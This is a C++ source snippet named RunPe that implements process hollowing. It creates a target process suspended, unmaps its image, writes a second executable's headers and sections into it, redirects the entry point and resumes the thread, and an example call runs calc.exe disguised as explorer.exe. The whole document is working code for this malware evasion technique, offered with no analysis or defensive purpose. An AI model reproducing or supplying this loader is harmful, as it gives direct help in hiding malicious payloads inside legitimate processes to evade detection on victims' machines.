RunPe

void RunPe( wstring const& target, wstring const& source )
{
    Pe src_pe( source );        // Parse source PE structure
    if ( src_pe.isvalid )
    {
        Process::CreationResults res = Process::CreateWithFlags( target, L"", CREATE_SUSPENDED, false, false ); // Start a suspended instance of target
        if ( res.success )
        {
            PCONTEXT CTX = PCONTEXT( VirtualAlloc( NULL, sizeof(CTX), MEM_COMMIT, PAGE_READWRITE ) );   // Allocate space for context
            CTX->ContextFlags = CONTEXT_FULL;

            if ( GetThreadContext( res.hThread, LPCONTEXT( CTX ) ) )    // Read target context
            {
                DWORD dwImageBase;
                ReadProcessMemory( res.hProcess, LPCVOID( CTX->Ebx + 8 ), LPVOID( &dwImageBase ), 4, NULL );        // Get base address of target

                typedef LONG( WINAPI * NtUnmapViewOfSection )(HANDLE ProcessHandle, PVOID BaseAddress);
                NtUnmapViewOfSection xNtUnmapViewOfSection;
                xNtUnmapViewOfSection = NtUnmapViewOfSection(GetProcAddress(GetModuleHandleA("ntdll.dll"), "NtUnmapViewOfSection"));
                if ( 0 == xNtUnmapViewOfSection( res.hProcess, PVOID( dwImageBase ) ) )  // Unmap target code
                {
                    LPVOID pImageBase = VirtualAllocEx(res.hProcess, LPVOID(dwImageBase), src_pe.NtHeadersx86.OptionalHeader.SizeOfImage, 0x3000, PAGE_EXECUTE_READWRITE);  // Realloc for source code
                    if ( pImageBase )
                    {
                        Buffer src_headers( src_pe.NtHeadersx86.OptionalHeader.SizeOfHeaders );                 // Read source headers
                        PVOID src_headers_ptr = src_pe.GetPointer( 0 );
                        if ( src_pe.ReadMemory( src_headers.Data(), src_headers_ptr, src_headers.Size() ) )
                        {
                            if ( WriteProcessMemory(res.hProcess, pImageBase, src_headers.Data(), src_headers.Size(), NULL) )   // Write source headers
                            {
                                bool success = true;
                                for (u_int i = 0; i < src_pe.sections.size(); i++)     // Write all sections
                                {
                                    // Get pointer on section and copy the content
                                    Buffer src_section( src_pe.sections.at( i ).SizeOfRawData );
                                    LPVOID src_section_ptr = src_pe.GetPointer( src_pe.sections.at( i ).PointerToRawData );
                                    success &= src_pe.ReadMemory( src_section.Data(), src_section_ptr, src_section.Size() );

                                    // Write content to target
                                    success &= WriteProcessMemory(res.hProcess, LPVOID(DWORD(pImageBase) + src_pe.sections.at( i ).VirtualAddress), src_section.Data(), src_section.Size(), NULL);
                                }

                                if ( success )
                                {
                                    WriteProcessMemory( res.hProcess, LPVOID( CTX->Ebx + 8 ), LPVOID( &pImageBase), sizeof(LPVOID), NULL );      // Rewrite image base
                                    CTX->Eax = DWORD( pImageBase ) + src_pe.NtHeadersx86.OptionalHeader.AddressOfEntryPoint;        // Rewrite entry point
                                    SetThreadContext( res.hThread, LPCONTEXT( CTX ) );                                              // Set thread context
                                    ResumeThread( res.hThread );                                                                    // Resume main thread
                                }
                            }
                        }
                    }
                }
            }

            if ( res.hProcess) CloseHandle( res.hProcess );
            if ( res.hThread ) CloseHandle( res.hThread );
        }
    }
}
...
RunPe( L"C:\\windows\\explorer.exe", L"C:\\windows\\system32\\calc.exe" );